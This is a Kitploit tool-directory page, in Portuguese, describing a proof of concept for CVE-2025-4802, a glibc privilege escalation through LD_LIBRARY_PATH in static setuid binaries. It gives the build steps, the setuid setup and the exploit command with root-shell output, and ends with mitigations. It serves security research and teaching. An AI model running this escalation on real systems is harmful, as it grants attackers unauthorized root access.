Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-4802-Proof-of-Concept — Prova de Conceito para um binário setuid compilado estaticamente vulnerável a dlopen com LD_LIBRARY_PATH | Kitploit
Ferramentas/GitHubGitHub/betim-hodza/cve-2025-4802-proof-of-concept
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubbetim-hodza/cve-2025-4802-proof-of-concept

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-4802-Proof-of-Concept

Prova de Conceito para um binário setuid compilado estaticamente vulnerável a dlopen com LD_LIBRARY_PATH

Ver Repositório
215há 7 mesesAinda não revisado

CVE-2025-4802 — Prova de Conceito

⚠️ Aviso: Este repositório é apenas para fins educacionais e de pesquisa de segurança autorizada. Não use este exploit contra sistemas que você não possui ou não tem permissão explícita para testar. O uso indevido pode violar leis e regulamentos.

Resumo do CVE

CampoDetalhes
ID do CVECVE-2025-4802
Software AfetadoGNU C Library (glibc)
Versões Afetadas2.27 – 2.38
Tipo de VulnerabilidadeEscalação de Privilégio via LD_LIBRARY_PATH não confiável
Vetor de AtaqueLocal

Descrição

Uma vulnerabilidade na GNU C Library (glibc) versões 2.27 a 2.38 permite que um atacante explore a variável de ambiente LD_LIBRARY_PATH em binários setuid compilados estaticamente que chamam dlopen().

Normalmente, o vinculador dinâmico sanitiza LD_LIBRARY_PATH para programas setuid. No entanto, binários compilados estaticamente ignoram completamente o vinculador dinâmico, então LD_LIBRARY_PATH nunca é limpo. Quando tal binário chama dlopen() (diretamente ou indiretamente via setlocale() ou funções NSS como getaddrinfo()), a glibc resolve bibliotecas compartilhadas usando o LD_LIBRARY_PATH controlado pelo atacante, permitindo a execução arbitrária de código com privilégios elevados.

Como Funciona

  1. Um binário compilado estaticamente com setuid-root chama dlopen("myso.so", ...) para carregar um objeto compartilhado pelo nome (não um caminho absoluto).
  2. Como o binário é vinculado estaticamente, o vinculador dinâmico (ld-linux.so) nunca é executado, então LD_LIBRARY_PATH não é sanitizado.
  3. Um atacante cria um objeto compartilhado malicioso (myso.so) que exporta o mesmo símbolo hello() mas inicia um shell root.
  4. O atacante define LD_LIBRARY_PATH para apontar para o diretório que contém a biblioteca maliciosa.
  5. Quando o binário setuid é executado, ele carrega a biblioteca do atacante em vez da legítima, executando código arbitrário como root.

Estrutura do Repositório

root@kitploit:~
.
├── main.c                          # Código-fonte do binário setuid vulnerável
├── myso.c                          # Objeto compartilhado legítimo (seguro)
├── evil_library/
│   └── evilso.c                    # Objeto compartilhado malicioso (inicia shell root)
├── proof_of_concept_screenshot.png # Captura de tela do terminal mostrando o exploit
├── proof_of_concept_video.mp4      # Vídeo demonstrativo
├── Makefile                        # Automação de compilação
└── README.md

Pré-requisitos

  • SO: Fedora 39 (ou qualquer distribuição Linux com glibc vulnerável)
  • Versão da glibc: 2.27 – 2.38 (verifique com ldd --version)
  • Pacotes: gcc, make
  • Acesso root para definir o bit setuid

Passos para Reprodução

1. Compilar Tudo

root@kitploit:~
make all

Ou manualmente:

root@kitploit:~
# Compilar o objeto compartilhado legítimo
gcc -shared -o myso.so -fPIC myso.c

# Compilar o binário vulnerável (vinculado estaticamente)
gcc -static -o main main.c -ldl

# Compilar o objeto compartilhado malicioso
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Definir o Bit Setuid (requer root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. Executar Normalmente (comportamento seguro)

root@kitploit:~
./main

Saída esperada:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Explorar com LD_LIBRARY_PATH (comportamento malicioso)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

Saída esperada:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

O binário carrega o myso.so do atacante de evil_library/ em vez do legítimo, gerando um shell root.

Prova de Conceito

Captura de tela da Prova de Conceito

Um vídeo demonstrativo também está disponível: proof_of_concept_video.mp4

Mitigação

  • Atualize a glibc para uma versão corrigida (> 2.38)
  • Evite vinculação estática para binários setuid que usam dlopen()
  • Use caminhos absolutos nas chamadas dlopen() em vez de nomes simples de bibliotecas
  • Abaixe privilégios antes de chamar dlopen()
  • Use flags de hardening do compilador/linker e evite setuid quando possível

Recursos

  • NVD — CVE-2025-4802
Baixar ferramenta